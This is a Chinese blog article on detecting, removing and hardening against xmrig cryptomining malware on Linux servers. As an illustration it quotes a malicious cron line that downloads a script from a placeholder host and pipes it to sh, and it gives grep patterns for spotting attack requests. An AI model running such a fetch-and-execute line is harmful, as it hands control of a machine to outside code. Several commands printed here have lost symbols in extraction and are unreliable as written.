ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Linux服务器挖矿病毒应急响应:从定位排查到彻底清除与安全加固

Linux服务器挖矿病毒应急响应:从定位排查到彻底清除与安全加固 服务器刚接手就被挖矿程序盯上这件事情我不是第一次遇到了。最开始是朋友喊我帮忙看看他公司的云主机说跑得好好的业务突然卡成PPTssh登录进去敲个topCPU直接红到发紫排在第一个的进程名清清楚楚写着xmrg当时我心里就咯噔一下——中奖了标准的门罗币挖矿木马。后来干得多了才发现这玩意儿在Linux服务器上简直无孔不入弱口令爆破、Redis未授权、Web漏洞传递随便哪条路打通它就能把你这台机器变成矿场里的廉价劳工。更恶心的是它没被判死刑之前会反复复活清完一次又来一次直到你把后门彻底堵死。这篇东西不是安全专家的高深理论就是我自己反复踩坑之后整理出来的完整清除流程和安全加固清单全部命令都在CentOS和Ubuntu上实测过。无论你是有业务跑在云上的开发还是半路出家的运维哪怕对Linux只懂一点基础命令照着一步步操作基本都能把这事摆平。我会把“为什么这么做”也讲清楚毕竟只给你kill命令的教程没有任何意义你不知道它从哪来、靠什么活着下次换台机器照样中招。1. 中招后的第一反应识别症状与确认入侵很多人在服务器变卡的时候第一反应是重启服务或者加配置结果搞了半天问题照样在。挖矿病毒和普通的负载飙高不一样它有非常明显的痕迹只要会看进程和端口基本一眼就能锁定。1.1 服务器突然变卡、CPU持续满载先别急着扩容我接到过太多类似求救信息“服务器没跑什么业务但CPU一直100%”“明明就一个Nginxload average却飙到了8”。这种情况先别怀疑业务代码也别急着加配置最可能的就是CPU被你完全不认识的进程给借走了。挖矿程序最核心的目的就是用你的算力去挖加密货币而市面上的门罗币挖矿工具几乎全部基于CPU计算所以最显眼的症状必然是CPU占用居高不下。你可以先执行top命令按大写P键按CPU降序排列看看进程列表顶部是什么。如果是合法的业务进程它一定带一个你能认出来的名字比如java、nginx、mysql。如果冒出来一串陌生名字什么xmrig、kinsing、python3、kworkerds或者一个看似系统进程却很古怪的名字就要警惕了。还有一点正常来说单核CPU占用最多100%如果你看到某个进程CPU占用显示几百甚至上千说明它跑了几十个线程在算这种情况基本就是挖矿无疑。另外一个判断维度是网卡流量挖矿程序虽然流量占比不大但挖矿矿池的通信还是会产生持续的外联流量你可以在宝塔面板、云厂商控制台或者iftop里看到异常连接。有一个经验说句实在话如果top显示的是一个你完全不认识的进程且路径不在常见系统目录第一步不要顺手就kill先把它全家查清楚再说。因为很多挖矿病毒会在父进程和子进程之间互相拉起你杀掉一个另外的马上把它重新抬起来这种“打地鼠”模式我见过不知道多少回。1.2 用系统自带工具确认进程身份别靠猜确认是不是挖矿不能只看进程名因为病毒可以伪装。关键是找到这个进程对应的可执行文件在什么位置。比如用top看到了PID就可以通过ls -l /proc/PID/exe查看这个PID真正运行的二进制文件路径。在Linux里/proc/PID/exe是一个符号链接指向进程的可执行文件真实路径这是伪造不了的。假设PID是20389那么命令是这样的ls -l /proc/20389/exe正常系统进程比如sshd会指向/usr/sbin/sshd。如果指向/tmp/.work/xmrig、/var/tmp/...、/dev/shm/...这类异常目录基本就可以实锤是挖矿程序了。再配合ps -ef看看这个进程的启动用户和完整命令行如果命令行里有--coinmonero、-a rx、--urlpool.supportxmr.com这类参数那也不用来回确认了直接进入清除环节。还可以顺手看一下网络连接命令是netstat -antlp或者ss -antp。挖矿程序必然要和矿池通信矿池地址一般是境外IP加端口3333、4444、5555、14444这些。如果你发现一条进程连接到一个陌生IP而且端口很怪基本能把这个进程和挖矿画等号。有个小技巧是lsof -i -P -n | grep ESTABLISHED能列出所有外部连接排查效率会高很多。1.3 顺手摸清病毒加载了哪些恶意模块这里要说一个容易漏掉的点有些门罗币挖矿病毒不只是放一个可执行文件它还会修改系统的动态链接器配置。攻击者会往/etc/ld.so.preload里面写一个.so文件结果就是系统里所有新启动的进程都自动加载这个恶意库文件进程列表瞬间就隐身了或者被杀掉后马上又被某种钩子机制拉起。你top看到的可能是一个正常的系统进程名但它底下早就绑了个挖矿线程。所以初步排查时一定记得看一下这个文件cat /etc/ld.so.preload正常情况下这个文件是空的或者只有一行注释如果出现了可疑路径那说明这机器已经不只是中了挖矿病毒还中了后门木马。遇到这种要优先处理否则你在前面忙半天清理挖矿程序后面一个钩子又给你加载回来。2. xmrig挖矿病毒是怎么进来的感染途径与运行机制把症状看完我们聊点关键的东西这东西怎么进来的。知道它的传播路径你才知道要把所有隐藏的点堵住。绝大多数人以为自己是操作失误才中毒其实更多时候是服务器暴露面太大被自动化扫描工具给摸到了大门。2.1 最常见的三条入侵路径弱口令、未授权、漏洞利用挖矿木马的传播早已实现全自动化。攻击者不会手动挑目标他们用扫描器扫全网IP先探测某个IP的22端口是否开着然后尝试用密码字典登录。我处理过的几台服务器里有一台是我自己疏忽密码设置为Admin123结果才上线两个小时就被扫到了。这里多说一句排查的时候去翻一下/var/log/secure或/var/log/auth.log你会看到成片的Failed password for root记录这就是被爆破的直接证据。第二条路径是中间件未授权访问。Redis如果没设密码或者设置了弱密码并且以root权限运行攻击者就可以通过redis-cli连上去然后利用CONFIG SET dir /var/spool/cron/这类命令把恶意写入计划任务再把下载挖矿脚本的指令写进去。这套操作在攻击脚本里都是现成的几秒钟就能完成。类似的问题还出现在Docker Remote API未授权、MongoDB未授权这些场景。第三条是Web应用漏洞。典型如ThinkPHP远程命令执行、Log4j2漏洞、Laravel的debug模式泄露攻击者通过这些漏洞先在服务器上执行一条命令——通常是下载一个脚本然后运行这个脚本再负责拉起挖矿进程。这类情况隐蔽性高因为服务器上还有正常业务在跑CPU飙升不明显等发现的时候可能已经挖了好几天了。2.2 为什么攻击者钟爱xmrig门罗币的匿名特性与CPU挖矿逻辑市面上挖矿工具很多有挖比特币的、以太坊的、门罗币的但攻击者几乎清一色选择门罗币XMR和xmrig这个工具。原因不复杂。比特币太卷普通CPU算力挖比特币连电费都回不来必须要专业ASIC矿机。门罗币走的是RandomX算法这种算法被设计成“CPU友好”也就是说普通的服务器CPU也能挖出有意义的算力。对攻击者来说一台32核的云服务器CPU用xmrig跑起来一天收益虽然不能让人暴富但胜在数量多、自动传播广集合起来就是可观的收益。xmrig本身是个开源程序任何人都能在GitHub上下载编译好的二进制版本。它跑起来之后默认还能伪装成普通进程支持配置多个矿池就算某个矿池挂了还能自动切换。因为它是开源工具安全性检测库不一定能第一时间把它列为病毒很多杀软只把它当成“潜在不受欢迎程序”处理。这也是为什么它能在全网服务器上生存得这么久。理解这一点你就明白为什么清除之后加固才是核心——只要服务器还有入口下次扫描到还会再来。2.3 挖矿病毒的持久化与自保护机制杀不死的“九头蛇”我把最常见的持久化手段列一下排查时挨个对照。持久化方式排查位置说明crontab计划任务/var/spool/cron/root、/etc/crontab、/etc/cron.d/最常见每隔几分钟就去下载并运行挖矿脚本systemd服务/etc/systemd/system/下可疑的.service文件伪装成系统服务开机自启启动脚本/etc/rc.local、/etc/init.d/老版本主机的常见持久化位置SSH公钥后门/root/.ssh/authorized_keys植入公钥后攻击者可随时免密登录动态库劫持/etc/ld.so.preload劫持系统调用隐藏进程和文件bashrc/profile/root/.bashrc、/etc/profile.d/每次打开shell就执行恶意命令双进程守护两个进程互查一个挂了另一个拉起来kill后立即复活必须一次性全清大部分挖矿脚本都会至少做上面两三种。所以单单执行一个kill -9是绝对不够的必须把所有持久化位置全部清理干净否则你重启机器之后它又自动跑起来。我遇到过一个很极端的例子攻击者在systemd里设置了Restartalwayssystemctl stop之后立刻被restart最后必须把service文件删掉并且systemctl daemon-reload才真正停掉。3. 超详细清除流程从定位到彻底清除现在进入正题。下面这套清除流程是我经过多次实战之后沉淀下来的顺序尽量按照这个来能少走不少弯路。整个过程的思路是先定位可疑进程和文件再停掉进程、删除文件紧接着清理所有持久化设置最后排查后门漏洞确保病毒没有“复活点”。3.1 定位可疑进程与文件绘制完整的感染地图清理的第一步不是杀而是找全。我一般是用几条命令组合排查把可疑项全部列出来再动手。先用ps aux --sort-%cpu看看CPU占用最高的几个进程然后对每个可疑PID用ls -l /proc/PID/exe定位文件路径。ps aux --sort-%cpu | head -20接下来检查计划任务相关目录crontab -l cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/这些目录下面如果出现带wget、curl、/tmp/下载脚本的条目马上就是重点嫌疑。举个例子一个典型的挖矿计划任务长这样*/5 * * * * root /usr/bin/curl -fsSL http://1.2.3.4/x.sh | sh意思就是每5分钟从攻击者的服务器下载执行一次脚本这个脚本会检查挖矿进程是否存在不存在就重新下载启动。这种任务必须第一时间干掉否则前脚你杀了进程后脚它自动又回来了。然后检查systemd服务和开机启动项systemctl list-unit-files --typeservice --stateenabled | grep -v ls -la /etc/systemd/system/ | grep -E \.service$ cat /etc/rc.local ls -la /etc/init.d/特别留意那些名字看似正常但内容很短的service文件比如kernel-update.service、nginx-update.service没事翻一下内容如果有ExecStart/tmp/...这类路径直接标记为恶意。最后检查SSH后门和当前登录用户cat /root/.ssh/authorized_keys ls -la /root/.ssh/ last -f /var/log/wtmp | head -30如果authorized_keys文件里有你不认识的公钥字符串那这台机器已经被攻击者留下了“钥匙”。不删的话就算你改了密码攻击者依然可以免密登录。检查完这些你基本已经把握了这台机器被入侵的全貌。3.2 按顺序执行清除停进程、删文件、清计划、卸服务所有痕迹摸全了接下来就是动手环节。我的建议是“先断通信再清理”。如果你用的是云主机条件允许的话可以直接在云安全组上临时限制入方向端口或者直接把实例关机在离线状态下处理。这样能防止攻击者在你清理的过程中远程操作机器免得辛苦白费。不想关机也行但至少要立刻修改root密码并终止可疑外联。处理顺序如下第一步一次性杀掉所有可疑进程。如果只是单个进程kill -9 20389但很多挖矿病毒是多个进程互相守护所以更稳妥的方式是先用命令把可疑进程名全部找出来再用循环杀掉。例如pkill -9 -f xmrig pkill -9 -f kinsing pkill -9 -f kworkerds注意pkill -f会把命令行里包含该字符串的所有进程都杀掉用起来效率高但也容易误伤所以进程名要写准确。杀完立刻再执行一次top确认CPU是否恢复正常如果恢复正常说明核心的挖矿线程已经停了。第二步删除所有已定位的可疑文件。用绝对路径删除避免被PATH环境变量忽悠rm -rf /tmp/.work rm -rf /var/tmp/... rm -f /usr/lib/libprocesshider.so具体路径以你在/proc/PID/exe中看到的为准不要照抄这里的示例。第三步清理计划任务。把之前查出来的恶意条目从crontab中删除crontab -e如果是写在/etc/crontab和/etc/cron.d/里的直接用编辑器删除对应行。这里提醒一句删除文件之后建议检查一下被删的文件是否还会被自动拉起来——执行ls -la看目录下是不是又出现了同名文件。如果又出现了说明还有一个守护进程没杀掉这时候回到第一步重新定位。第四步停用并删除恶意systemd服务systemctl stop 可疑服务名 systemctl disable 可疑服务名 rm -f /etc/systemd/system/可疑服务名 systemctl daemon-reload清除完这些顺手把/etc/ld.so.preload里的可疑内容清理干净echo /etc/ld.so.preload第五步清理SSH后门。把/root/.ssh/authorized_keys里不认识的行删除。如果这个文件权限有问题顺手修复chmod 600 /root/.ssh/authorized_keys chmod 700 /root/.ssh以上全部做完之后建议立即重启一次服务器。重启之后再执行一次完整的排查命令确认没有可疑进程清理才算真正完成。3.3 检查系统日志与后门弄清除病毒到底从哪进来的清完了别急着高兴。你可能已经把一个疗程跑完但病毒来源还没来得及找。现在你需要回到日志看看这条入侵路径到底是什么。SSH日志里的爆破记录能帮你判断是不是弱口令导致的grep Failed password /var/log/secure | tail -20如果是Web漏洞打进来的翻一下Nginx访问日志grep -i eval\|system\|phpinfo\|wget /var/log/nginx/access.log | tail -20攻击者下载恶意脚本的请求一般会留下很明显的特征比如URL里带着wget、curl、sh -c这类字符串。这里插一句别指望日志里面什么都有很多攻击者会提前清除日志你只能尽量找线索。如果完全找不到来源那就默认所有端口和所有服务都不可信全部走加固流程。4. 清除之后的加固防止二次被入侵清病毒只是治标把入口堵住才是治本。很多人的理解是清完了改个密码就万事大吉结果没过一个礼拜又被重新入侵。核心原因是它的感染面没有收敛。下面这些加固项建议一项一项落实基本都是零成本的。4.1 SSH安全加固从弱口令爆破到密钥认证SSH是攻击者最爱碰的服务。第一步修改默认端口。编辑/etc/ssh/sshd_config把Port改成高位端口比如30222这样能过滤掉大量默认端口扫描。第二步禁止root用户直接登录设置PermitRootLogin no平时用普通用户登录需要root权限时再su -。第三步有条件的话直接禁用密码登录只保留密钥登录PasswordAuthentication no PubkeyAuthentication yes然后把你的本地公钥放到服务器上ssh-copy-id -p 30222 用户名服务器IP这三步做完能挡住90%以上的暴力破解攻击。如果一时改不了这么多至少把密码换成一个20位以上、包含大小写和符号的强密码再用Fail2ban保护SSH服务连续失败5次就把来源IP拉黑10分钟能大幅拖慢自动化爆破的速度。4.2 防火墙与网络层面端口收敛和出站限制很多时候挖矿病毒能被种上是因为你的端口敞得太开了。用ss -lnpt看看当前监听的端口把不需要的端口在防火墙全部关闭只留必需的22、80、443这些。以firewalld为例firewall-cmd --permanent --remove-port6379/tcp firewall-cmd --permanent --remove-port3306/tcp firewall-cmd --reload有一样东西很容易被忽略就是出站限制。大多数业务服务器根本不需要主动访问外网任意IP你可以只允许服务器访问80/443端口用于系统更新其余出站全部拒绝。这样即使挖矿木马被你杀漏了一个它也无法连接矿池挖矿行为直接发不出去。iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -A OUTPUT -p udp --dport 53 -j ACCEPT iptables -A OUTPUT -j DROP注意这个配置一定要一条一条地加加完一条测试一条避免把自己SSH连接断了。4.3 修补系统与应用漏洞升级内核和依赖攻击者利用的漏洞很多都是已知漏洞修复方式就是升级。生产环境里很多人怕升级会出问题这个心态我理解但你完全可以把更新同事在一个“窗口期”操作。CentOS系列yum update -yUbuntu/Debian系列apt update apt upgrade -y更新完重启一次让新内核生效。如果是像Log4j2或者某个框架的漏洞还需要单独升级对应的软件版本。落到实操层面Web服务建议都用官方源安装不要图省事用不可信的一键脚本。很多挖矿木马就是藏在一键环境包里的尤其是来路不明的那种里面打包藏个挖矿程序太常见了。4.4 部署轻量监控让入侵事件提前暴露最后一步给你的服务器装个“看门的”。市面上成熟的Linux监控工具有很多比如基础一些的用Prometheus Grafana监控CPU和网络安全方面可以装ClamAV做常规查杀或者用云厂商自带的云安全中心/安骑士。如果是小成本机器至少要把日志审计做起来用rsyslog把/var/log/secure远程传输到另一台机器上防止本机日志被攻击者清除后无据可查。另外一个非常实用的办法是定时任务自检。在crontab里加一个自动检测CPU占用并告警的任务比如用top或者mpstat检测CPU是否连续几次都超过90%一旦满足条件就通过短信或者webhook告警推给你。挖矿病毒有个共同点它们会把CPU拉到极限你第一时间收到告警也就有了第一时间处理的机会。5. 常见问题与排查技巧实录每次写这类文章我都会把实战中踩过的坑单独拎出来。清除和加固做完了总有人会遇到一些稀奇古怪的问题这里统一记录下来你遇到了直接照着查。5.1 病毒清完又复活反复删除不见效果遇到这种情况99%是持久化没清干净或者有隐藏的守护进程还在运行。以我见过的一个真实案例来说攻击者把挖矿进程伪装成krunl还配套写了一个watchdog进程每隔几秒检查一下主进程是否存在不存在就用本地文件重新拉起。你就得把两个进程同时识别出来一起kill。还有一个原因就是/etc/ld.so.preload里的.so文件没清理这时候你top看不到任何可疑进程但CPU就是下不去因为线程已经注入到其他系统进程里面了。所以排查顺序上一定把ld.so.preload放在前面。5.2 清完木马之后系统负载还是很高怎么办先别怀疑木马没杀干净也可能是杀毒操作本身触碰了系统的异常状态比如僵尸进程堆积。正常流程是执行ps -A -o stat,ppid,pid,cmd | grep -i defunct把僵尸进程先回收。然后看看是不是挖矿脚本把systemd-journald或者sysklogd日志撑爆了日志文件过大也会拖慢系统。如果清理完这些负载还是高建议用perf top看看内核层面的瓶颈看看是不是某个驱动或者系统调用出了问题。这一般和挖矿没有直接关系了属于另一层问题了。5.3 防火墙配置失误导致SSH连不上这个坑我替不少人填过。有人照着网上的教程把出站规则全部设成DROP结果把SSH的应答包也丢了连接直接断开人进不去服务器了。这种问题的处理办法是如果你在云主机上操作可以用云厂商的VNC控制台进入系统把防火墙规则改回来。另外任何防火墙操作我都建议先写一个守护定时清理脚本比如把新规则写到脚本里执行前先sleep 6060秒后自动清理规则确保你给连接断开了还能自动恢复。等确认没问题了再关守护脚本。5.4 怎么确认服务器是否还有隐藏后门这里介绍一个直接有效的检查方法查看系统里所有正在监听的端口和所有正在运行的进程把列表导出来和同类正常服务器对比。再多嘴一句如果这台服务器已经被入侵得很深rootkit都装上了那么在操作系统层排查已经不可靠。这时候最安全的方式是备份业务数据和配置重装系统然后在新系统上重新部署业务。重装本身不丢人及时止损才是正解。我在实际操作里还养成了一个习惯就是清理完成后会主动把root密码、所有应用密码全部重置一遍然后更新密钥确保“前任”指纹彻底作废。有一次排查完几天后攻击者又回来了查了半天发现原来他不仅留了authorized_keys还在/root/.bash_history里设了陷阱每次root登录就自动执行一段curl命令。要不是翻历史命令翻得仔细还真治不死它。所以最后再分享一个小经验如果你被挖矿病毒入侵过一次优先怀疑这台机器所有账号、密钥、凭据都已经泄露能用密钥就绝不裸跑密码能限制端口就绝不放开这些习惯养成了你的服务器就自然硬起来了。
返回列表